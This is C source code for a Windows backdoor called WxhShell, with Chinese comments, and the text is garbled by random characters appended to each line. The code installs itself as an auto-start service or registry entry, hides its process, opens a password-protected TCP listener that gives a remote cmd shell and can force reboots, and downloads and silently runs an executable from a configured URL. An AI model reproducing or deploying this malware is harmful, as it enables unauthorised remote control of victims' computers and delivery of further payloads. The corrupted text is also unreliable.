    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )7AM3%z1?  
    if(Boot(SHUTDOWN)) <kbnu7?a*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q+%!<]7X  
    else { UkfA}b^@v  
    closesocket(wsh); b1)\Zi  
    ExitThread(0); v, 0<9!'v  
    } 7d9Z/J@>  
    break; (hsZ  
    } ]]y[t|6  
  // 获取shell **HrWM%?8o  
  case 's': { !NA`g7'  
    CmdShell(wsh); 6t$N78U  
    closesocket(wsh); uO"8aD`W  
    ExitThread(0); e~ BJvZ}Q  
    break; NWnWk  
  } U8[Qw}T P  
  // 退出 G?ZC 9w]rA  
  case 'x': { dEET}s\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?i%nMlcc  
    CloseIt(wsh); b9#m m  
    break; JV%nH! Fs  
    } zq=&4afOE  
  // 离开 JWWInuH  
  case 'q': { {*fUJmao"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5M.Red.L  
    closesocket(wsh); 5Pqt_ZWy  
    WSACleanup(); O! (85rp/  
    exit(1); H &fTh  
    break; nl9kYE [  
        } c(&AnIlS  
  } SwJHgZ&  
  } 2Pz5f  
D6:DrA:  
  // 提示信息 kQ[Jo%YT?E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _.-#E$6s#q  
} N'a?wBBR  
  } z}3di5+P  
^XNw$@&',  
  return; -;ER`Jqs,  
} X2{`l8%Ek  
QA,*:qx  
// shell模块句柄 q;No"_aAd  
int CmdShell(SOCKET sock) Hh\ 4MNl  
{ QH:>jmC{1h  
STARTUPINFO si; cqjl5UB  
ZeroMemory(&si,sizeof(si)); ``6{T1fQS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4UVW#Rw{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1VGpq-4*j  
PROCESS_INFORMATION ProcessInfo; 5Kee2s?*  
char cmdline[]="cmd"; j@CKO cn2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G g(NGT  
  return 0; yZ|+VXO  
} R` 44'y|  
$$\V 2%v  
// 自身启动模式 ;Rs.rl>;t/  
int StartFromService(void) z2v<a{e  
{ Q-3r}jJe  
typedef struct WV@X@]U  
{ Qxky^:B  
  DWORD ExitStatus; e`;t<7*i  
  DWORD PebBaseAddress; hd8B0eD'  
  DWORD AffinityMask; 7|{ B#  
  DWORD BasePriority; "R8.P/ 3  
  ULONG UniqueProcessId;  }Zt.*%  
  ULONG InheritedFromUniqueProcessId; R)Q/Ff@o0  
}   PROCESS_BASIC_INFORMATION; l[Tt[n  
fw:7U %MGv  
PROCNTQSIP NtQueryInformationProcess; |SxMN %M!  
%fBP:5%K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4?v$<=#21*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r:73uRk  
3Qk/ Ll  
  HANDLE             hProcess; nPcxknl(pd  
  PROCESS_BASIC_INFORMATION pbi; 2+o!o  
^glX1 )  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {N "*olx  
  if(NULL == hInst ) return 0; 7MoR9,(  
z>7=k`x`:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }'v{dK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %uj[`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~z&0qQ  
WX ,p`>n  
  if (!NtQueryInformationProcess) return 0; ;eP_;N5+J  
p1klLX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^]i" H|(x  
  if(!hProcess) return 0; ?P%|P   
<o ~t$TH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &{BBxv)y  
?THa5%8f  
  CloseHandle(hProcess); J}:&eS  
ed=n``P~}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IeH^Wm&^  
if(hProcess==NULL) return 0; dV)Y,Yx0${  
X=JFWzC  
HMODULE hMod; J0Jr BXCh  
char procName[255]; k&yQ98H$K"  
unsigned long cbNeeded; :MK:TJV  
1E8$% 6VV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uL bp.N8  
(VfwLo>#  
  CloseHandle(hProcess); &<`-:x12_  
u2 Y N[|V  
if(strstr(procName,"services")) return 1; // 以服务启动 re]%f"v:5  
Ndo}Tk!  
  return 0; // 注册表启动 J_|7$ l/  
} 4C6=77Jr  
$y8mK|3.3u  
// 主模块 &ycjSBK  
int StartWxhshell(LPSTR lpCmdLine) 0T(O'v}.  
{ !X%S)VSMU  
  SOCKET wsl; ZTr:xX{R6  
BOOL val=TRUE; Wa(W&]  
  int port=0; c$.UE  
  struct sockaddr_in door; 9z+vFk`  
0,:iE\  
  if(wscfg.ws_autoins) Install(); $|rCrak;  
+I*k0"gj6  
port=atoi(lpCmdLine); h] <GTWj  
eR7qE) h  
if(port<=0) port=wscfg.ws_port; =sxkrih  
J 0&zb'1  
  WSADATA data; BQ).`f";d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R_t~UTfI;  
2@rp<&s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WfRVv3Vm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); jMTRcj];(  
  door.sin_family = AF_INET; 52da]BW<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wj}=@HS,3!  
  door.sin_port = htons(port); )t*S 'R  
< }<#W/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { km9Gwg/zT  
closesocket(wsl); 5BrU'NF  
return 1; lq~Gc M  
} B.V?s,U  
t-'I`I  
  if(listen(wsl,2) == INVALID_SOCKET) { ,NjX&A@  
closesocket(wsl); 2j2mW>Z  
return 1; Ga]47pQ"F  
} d#E(~t(^  
  Wxhshell(wsl); -K:yU4V  
  WSACleanup(); Y=AH%Gy9 )  
>/(i3)  
return 0;  AqKHjCI  
| -JI`!7  
} s[Y)d>~\$=  
mYntU^4f  
// 以NT服务方式启动 iU.!oeR?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .UNF~}^H  
{ W,xi> 5k  
DWORD   status = 0; B0 6s6Q  
  DWORD   specificError = 0xfffffff; >_rzT9gX&  
` 52% XI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =9kj? u~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]\[m=0K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jn.R.}TT  
  serviceStatus.dwWin32ExitCode     = 0; @<hF.4,]  
  serviceStatus.dwServiceSpecificExitCode = 0; ;gZwQ6)i  
  serviceStatus.dwCheckPoint       = 0; 2b; rr  
  serviceStatus.dwWaitHint       = 0; CW.&Y?>Tv  
,Y`'myL8W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xeJ9H~^  
  if (hServiceStatusHandle==0) return; !x`;>0  
,O$Z,J4VL  
status = GetLastError(); );0<Odw%.  
  if (status!=NO_ERROR) d\v$%0  
{ elN{7:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9 yh9HE  
    serviceStatus.dwCheckPoint       = 0; N7d17c. 5  
    serviceStatus.dwWaitHint       = 0; (J6" ;  
    serviceStatus.dwWin32ExitCode     = status; "9c.CI  
    serviceStatus.dwServiceSpecificExitCode = specificError; D2Vb{%(4.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  Ask' !  
    return; |z.Gh1GCy  
  } $ \? N<W  
x, G6\QmA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i}.{m Et  
  serviceStatus.dwCheckPoint       = 0; qzuQq94k  
  serviceStatus.dwWaitHint       = 0; pWWL{@J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %4?SY82  
} ZC3tbhV  
<m?GJuQ'  
// 处理NT服务事件,比如:启动、停止 r^?)F?n!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aR`_h=a  
{ EJ WOXxU  
switch(fdwControl)  f$:7A0  
{  !7 ei1  
case SERVICE_CONTROL_STOP: ( rA\_FOJ  
  serviceStatus.dwWin32ExitCode = 0; ^L>MZA ?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #Tr;JAzVjG  
  serviceStatus.dwCheckPoint   = 0; ygmv_YLjm  
  serviceStatus.dwWaitHint     = 0; k! J4Z ${k  
  { eXj\DjttG}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \(.nPW]9  
  } CQ@#::'F1  
  return; vGx?m@  
case SERVICE_CONTROL_PAUSE: @5{.K/s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1Z^`l6|2  
  break; Ha46U6_'h  
case SERVICE_CONTROL_CONTINUE: J!21`M-Ue  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i /O1vU#  
  break; !!?+M @  
case SERVICE_CONTROL_INTERROGATE: Y|{r vBKjf  
  break; -ET*M<  
}; >yV)d/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T0@](g  
} ig2{lEkF  
D6&mf2'u  
// 标准应用程序主函数 pFpQ\xc9$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kx"hWG4  
{ [}W^4,  
?noETHz)  
// 获取操作系统版本 DFt=%aV[  
OsIsNt=GetOsVer(); _hAj2%SL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0EL\Hd  
{:};(oz)f  
  // 从命令行安装 k| _$R?  
  if(strpbrk(lpCmdLine,"iI")) Install(); %8}WX@SB  
ua]\xBWx  
  // 下载执行文件 (SgEt  
if(wscfg.ws_downexe) { %JP&ox|^&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (cOND/S  
  WinExec(wscfg.ws_filenam,SW_HIDE); `c qH}2s#  
} nx!qCgo  
yj}bY?4I  
if(!OsIsNt) { Ns+)Y^(5  
// 如果时win9x,隐藏进程并且设置为注册表启动 "E@NZ*"u  
HideProc(); [ 4?cM\_u@  
StartWxhshell(lpCmdLine); Uv @!i0W  
} .4S^nP  
else _aXP ;kFMi  
  if(StartFromService()) ?D*Hl+iu  
  // 以服务方式启动 ?$"x^=te7  
  StartServiceCtrlDispatcher(DispatchTable); T..N*6<X  
else y1,?ZWTayr  
  // 普通方式启动 ]y1$F Ir+  
  StartWxhshell(lpCmdLine); wQo6!H "K  
..P=D <'f  
return 0; Zd[y+$>  
} 2.fyP"P L  
T[Z <bW~0  
2]of SdM  
,XWay%8{E  
=========================================== HMEs8.  
?G~/{m.  
WrE-Zti  
o 1 hdO  
{#dp-5V  
8k+q7  
" vh1 Ma<cx  
p^pQZ6-  
#include <stdio.h> "VT{1(]t  
#include <string.h> OCbQB5k3  
#include <windows.h> Vze!/ED  
#include <winsock2.h> %fn'iKCB  
#include <winsvc.h> ;ZxK3/(7  
#include <urlmon.h> PTuCN  
N3XVT{ yo  
#pragma comment (lib, "Ws2_32.lib") S7?f5ux   
#pragma comment (lib, "urlmon.lib") O+(. 29  
fd!pM4"0  
#define MAX_USER   100 // 最大客户端连接数 ;w>3,ub(0  
#define BUF_SOCK   200 // sock buffer .NV)hg)|cZ  
#define KEY_BUFF   255 // 输入 buffer n&2=6$*,k  
C|.$L<`  
#define REBOOT     0   // 重启 -)y> c  
#define SHUTDOWN   1   // 关机 *@bg/S K%  
/?.r!Cp  
#define DEF_PORT   5000 // 监听端口 JqVBT+:  
_H^^2#wc/  
#define REG_LEN     16   // 注册表键长度 HobGl0<y  
#define SVC_LEN     80   // NT服务名长度 K]H"qG.K  
z. _C*c  
// 从dll定义API ?{@!!te@3v  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i#@v_^q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); gqO%^b)6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b.mjQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TRr4`y%  
zn2"swhq\V  
// wxhshell配置信息 >0g `U  
struct WSCFG { J[& 7,}  
  int ws_port;         // 监听端口 N8DiEB3~  
  char ws_passstr[REG_LEN]; // 口令 {Gk}3u/  
  int ws_autoins;       // 安装标记, 1=yes 0=no uNPD~TYN  
  char ws_regname[REG_LEN]; // 注册表键名 $+!}Vtb  
  char ws_svcname[REG_LEN]; // 服务名 Azq#}Oe)u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |k7ts&2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q ^1#xBd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eu}:Wg2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i h`y0(<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7)8rc(58  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 np'M4^E;  
w{YtTZp3  
}; JL]k:i^`A  
dFI.`pB  
// default Wxhshell configuration &|'Kut?8  
struct WSCFG wscfg={DEF_PORT, 3 2iWYN  
    "xuhuanlingzhe", #cp$ltY  
    1, ~u?x{[  
    "Wxhshell", :r vO8.\  
    "Wxhshell", 7b7%(  
            "WxhShell Service", (_%JF[W  
    "Wrsky Windows CmdShell Service", $dVgFot  
    "Please Input Your Password: ",  hZss  
  1, G +nY}c  
  "http://www.wrsky.com/wxhshell.exe", [kp7LA"`  
  "Wxhshell.exe" i)`zKbK  
    }; *mK);@pL  
*s<dgFA'  
// 消息定义模块 Vne. HFXA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \J3v>&m<7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8,H#t@+MT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?VOs:sln  
char *msg_ws_ext="\n\rExit."; nI|Lx`*v  
char *msg_ws_end="\n\rQuit."; HkfSx rTgQ  
char *msg_ws_boot="\n\rReboot..."; QAOk  
char *msg_ws_poff="\n\rShutdown..."; R+ #.bQg  
char *msg_ws_down="\n\rSave to "; @0/@p"j  
-+ IX[  
char *msg_ws_err="\n\rErr!"; p@NEr,GB  
char *msg_ws_ok="\n\rOK!"; WrK^>  
2\z`G  
char ExeFile[MAX_PATH]; B!E<uVC  
int nUser = 0; 0o"<^] _|  
HANDLE handles[MAX_USER]; @WDqP/4  
int OsIsNt; X/;"CM  
R<0!?`b  
SERVICE_STATUS       serviceStatus; ,39$iHk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z hR_qW+  
6Ymo%OT  
// 函数声明 V)?x*R*T)  
int Install(void); #:ED 0</  
int Uninstall(void); m|Q&Lphb8  
int DownloadFile(char *sURL, SOCKET wsh); M*T# 5  
int Boot(int flag); P`IMvOs&  
void HideProc(void); ++p& x{  
int GetOsVer(void); j9L+.UVI,  
int Wxhshell(SOCKET wsl); C(%5,|6  
void TalkWithClient(void *cs); ,rl <ye*&  
int CmdShell(SOCKET sock); RfKxwo|M<  
int StartFromService(void); Bu >yRL=*  
int StartWxhshell(LPSTR lpCmdLine); 'bY|$\I  
;ijfI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \ \mO+N47i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \'^Z_6{w  
R=Ly49  
// 数据结构和表定义 n nnA,  
SERVICE_TABLE_ENTRY DispatchTable[] = *V@MAt  
{ g9lg  
{wscfg.ws_svcname, NTServiceMain}, H{tOCYyD  
{NULL, NULL} g!kRa.`u1  
}; -Bwu$$0  
e,j? _p  
// 自我安装 L&gEQDPgq|  
int Install(void) k~9Ywf  
{ $qyM X[  
  char svExeFile[MAX_PATH]; >G3 J3P(  
  HKEY key; OTFu4"]M  
  strcpy(svExeFile,ExeFile); Ci#5@Q9#w  
S>ylAU;N  
// 如果是win9x系统,修改注册表设为自启动 .pu`\BW>  
if(!OsIsNt) { Uf]Pd)D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t+)GB=C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \tw#p k  
  RegCloseKey(key); koWb@V]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y ,pS/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mb/6>  
  RegCloseKey(key); PJ11LE  
  return 0; 2DBFXhP  
    }  ?Ge*~d  
  } m+gG &`&u  
} %Pvb>U(Xs  
else { !\k#{ 1[!  
y88}f&z#5  
// 如果是NT以上系统,安装为系统服务 {ZIFj.2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Mp @(/  
if (schSCManager!=0) ,E8>:-boL  
{ Y"\T*lKa  
  SC_HANDLE schService = CreateService 3<' Q`H>  
  ( 3L!&~'.Ro  
  schSCManager, nTtt$I@hW  
  wscfg.ws_svcname, yNMwd.r[  
  wscfg.ws_svcdisp, I3[RaZ2z{  
  SERVICE_ALL_ACCESS, "?0 G^zu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , hpi_0lMkI  
  SERVICE_AUTO_START, <n~g+ps  
  SERVICE_ERROR_NORMAL, !VZCM{  
  svExeFile, ZwrYs s  
  NULL, u(G;57ms  
  NULL, (lck6v?h  
  NULL, PQ#-.K  
  NULL, ,c %gwzU  
  NULL I;m@cSJ|j  
  ); EV,NJ3V  
  if (schService!=0)  yURh4@  
  { c"&!=@  
  CloseServiceHandle(schService); i.dAL)V  
  CloseServiceHandle(schSCManager); P;91C'T-x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]}Hv,a   
  strcat(svExeFile,wscfg.ws_svcname); ^d $e^cU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U &k 3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Pc ?G^ Xol  
  RegCloseKey(key); F1[ [fH  
  return 0; 3\l9Sf=M|  
    } ]~ 8N  
  } <.B > LU  
  CloseServiceHandle(schSCManager); mt]YY<l  
} wU3ica&[   
} 5OqsnL_V  
tZBE& :l  
return 1; UHl/AM> !  
} t:@A)ip  
 >33b@)  
// 自我卸载 LUVJ218p  
int Uninstall(void) { rJF)\2  
{ pC.P  
  HKEY key; `e;Sjf<  
ZTz(NS EK  
if(!OsIsNt) { x3F L/^S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #K*q(ei,7h  
  RegDeleteValue(key,wscfg.ws_regname); ]x{H  
  RegCloseKey(key); _^s SI<&m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ J@i7FOb  
  RegDeleteValue(key,wscfg.ws_regname); H9m2Whq  
  RegCloseKey(key); ?-v?SN#  
  return 0; I:)#U[tn0  
  }  1`JN  
} $[;eb,  
} \J g#X:d  
else { L#MxB|fcr  
Pw{{+PBu R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @%85k/(  
if (schSCManager!=0) Y$5v3E\uc  
{ 3'uES4+r  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z"nuO\zH~  
  if (schService!=0) DQXx}%Px  
  { 7Ki7N{K t  
  if(DeleteService(schService)!=0) { KEB>}_[  
  CloseServiceHandle(schService); /FZ )ej\  
  CloseServiceHandle(schSCManager); j|8{Vyqd  
  return 0; U,}T ]J  
  } T $]L 5  
  CloseServiceHandle(schService); s"!}=k X  
  } (:k`wh&  
  CloseServiceHandle(schSCManager); ]-OkW.8d1  
} =U|SK"oO  
} cDol o1*  
|L-juT X9  
return 1; (D3m5fO  
}  .5r0%  
T1 .@Tbbt  
// 从指定url下载文件 K4L#%KUPW  
int DownloadFile(char *sURL, SOCKET wsh) rxA)&  
{ NGGd6V%'-  
  HRESULT hr; !Bbwl-e`  
char seps[]= "/"; PEhLzZX+  
char *token; XYVeHP!  
char *file; 62E(=l  
char myURL[MAX_PATH]; I9&<:`  
char myFILE[MAX_PATH]; / UBAQ8TR  
DuZ]g#  
strcpy(myURL,sURL); Rzj!~`&N  
  token=strtok(myURL,seps); {]N?DmF  
  while(token!=NULL) [NDYJ'VGe  
  { 3+PM_c)Y  
    file=token; OtqLigt&l  
  token=strtok(NULL,seps); \K=PIcH  
  } IUG .q8  
Efd[ZJxS6  
GetCurrentDirectory(MAX_PATH,myFILE); `G{t<7[[;  
strcat(myFILE, "\\"); HYa!$P3}[  
strcat(myFILE, file); AU\!5+RDB  
  send(wsh,myFILE,strlen(myFILE),0); ZWW}r~d{  
send(wsh,"...",3,0); pDN,(Ip  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ur5n{0#  
  if(hr==S_OK) WL]'lSHa  
return 0; e.h:9` "*  
else 88U  
return 1; (jMp`4P  
lK@r?w|<M  
} </Lqk3S-!  
~kFRy{z  
// 系统电源模块 ^ZBkt7  
int Boot(int flag) 0+h?Bk  
{ Onyq'  
  HANDLE hToken; NE nP3A  
  TOKEN_PRIVILEGES tkp; -v&srd^  
k{8N@&D  
  if(OsIsNt) { m8`A~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >?x Vr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "fwuvT 1  
    tkp.PrivilegeCount = 1; 69L&H!<i:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P0<uF`87  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); RmCR"~   
if(flag==REBOOT) { @UBp;pb}=h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }])f^  
  return 0; AS ul  
} G_RK3E[FK  
else { o)DKP>IM#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0U~JSmj:2K  
  return 0; J0o[WD$A x  
} 'ZZ/:MvQa  
  } u[@*}|uXM  
  else { nwYeOa/t  
if(flag==REBOOT) { ujBADDwOg)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2Ev,dWV  
  return 0; 1owoh,V6  
} 4|UIyDt8  
else { ,.B8hr@H6-  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I-I5^s  
  return 0; ,'}ZcN2)  
} ^ TS\x/P  
} hCrgN?M z  
%8/$CR  
return 1; &/" qOZAs  
} EWi@1PAZK  
}K\_N]#6n  
// win9x进程隐藏模块 'Z[R*Ikzq  
void HideProc(void) ]0O$2j_7  
{ )sr]}S0  
>'eqOZM  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TfOZ>uR"g  
  if ( hKernel != NULL ) :1I,:L  
  { 62q-7nV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +( d2hSIF  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b~p <   
    FreeLibrary(hKernel); t&0p@xLQ  
  } _e W*  
r_",E=e  
return; +}!eAMQ  
} spf}{o  
) )Nc|`  
// 获取操作系统版本 {>qCZ#E5WO  
int GetOsVer(void) pJI H_H  
{ \]D;HR`vo  
  OSVERSIONINFO winfo; ,^(T^ -  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); * HVO  
  GetVersionEx(&winfo); u'C4d6\wS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H0S7k`.  
  return 1; BdTj0{S1u  
  else A, os rv  
  return 0; =[$*PTe  
} GZ%R fKyQ  
a;(:iMCi  
// 客户端句柄模块 5"sF#Y&  
int Wxhshell(SOCKET wsl) pGC`HTo|  
{ Kr<O7t0X  
  SOCKET wsh; mnePm{  
  struct sockaddr_in client; $T6<9cB@  
  DWORD myID; >&TktQO_T  
al2v1.Y}  
  while(nUser<MAX_USER) >wn&+%i&  
{ W^x[ma z  
  int nSize=sizeof(client); @1pdyKK  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =F`h2A;a  
  if(wsh==INVALID_SOCKET) return 1; gm8H)y,  
^a]:GPc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nL$tXm-x  
if(handles[nUser]==0) Au {`o xD  
  closesocket(wsh); >TE&myZ?*  
else biJU r^n  
  nUser++; 1Dbe0u  
  } t :_7 O7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wNPZ[V:  
.C1^QY-wL  
  return 0; F'K{=  
} lIf Our  
j6\{j#q  
// 关闭 socket I%ez_VG  
void CloseIt(SOCKET wsh) 67e1Y@Xu  
{ ]KfHuYjM  
closesocket(wsh); ,Ya&M@^Z  
nUser--; 0YS*=J"7z  
ExitThread(0); q*T+8 O  
} .sLx6J%  
qAU]}Et/  
// 客户端请求句柄  j>6{PDaT  
void TalkWithClient(void *cs) H;^6%HV1  
{ h'bxgIl'`  
@/9> /?JP  
  SOCKET wsh=(SOCKET)cs; 8E" .y$AW  
  char pwd[SVC_LEN]; {3;4=R3  
  char cmd[KEY_BUFF]; ScI9.{  
char chr[1]; W] lFwj  
int i,j; ~6OdPD  
NENbr$,G  
  while (nUser < MAX_USER) { {\%x{  
GVg0)}  
if(wscfg.ws_passstr) { a+X X?uN{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a\zbi$S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r1[0#5kJ;J  
  //ZeroMemory(pwd,KEY_BUFF); 2]7nw1&  
      i=0; KT8Fn+  
  while(i<SVC_LEN) { N=wB1gJ  
F8pLA@7[  
  // 设置超时 g><sZqj8tt  
  fd_set FdRead; F 4k`x/ak  
  struct timeval TimeOut; ^PD a  
  FD_ZERO(&FdRead); 0$UE|yDs>  
  FD_SET(wsh,&FdRead); Z6Mh`:7  
  TimeOut.tv_sec=8; al5?w{us  
  TimeOut.tv_usec=0; R4o_zwWgPw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); / og'W j  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X<1# )xC  
~h1'_0t   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]-O:|q>]  
  pwd=chr[0]; Q{>{ e3z}  
  if(chr[0]==0xd || chr[0]==0xa) { A5z`3T;1  
  pwd=0; +>s[w{Svy  
  break; rod{77  
  } FuD$jsEw  
  i++; kweypIB  
    } /JvNJ f  
kY*D s;  
  // 如果是非法用户,关闭 socket Pp}j=$&j\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `=FfzL  
} LOp<c<+aW  
_/KN98+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P'g$F<~V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !#>{..}}3  
J3K!@m_\  
while(1) { x1TB (^aX  
2cww7z/B  
  ZeroMemory(cmd,KEY_BUFF); nzU@}/A/  
~*H!zKIx  
      // 自动支持客户端 telnet标准   :HwB+Bjy  
  j=0; 9XS'5AXN  
  while(j<KEY_BUFF) { ^Zg"`&E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #wt#-U;  
  cmd[j]=chr[0]; 7^ER?@:W  
  if(chr[0]==0xa || chr[0]==0xd) { or0f%wAF  
  cmd[j]=0; "_9Dau$  
  break; &u.t5m7(  
  } ]A'E61t<n  
  j++; B[8  
    } { c]y<q  
H1N%uk=kV  
  // 下载文件 rR/PnVup  
  if(strstr(cmd,"http://")) { c$>Tfa'H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z5+qb  
  if(DownloadFile(cmd,wsh)) './s'!Lj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TJ+yBMd*%  
  else 3C5<MxtK  
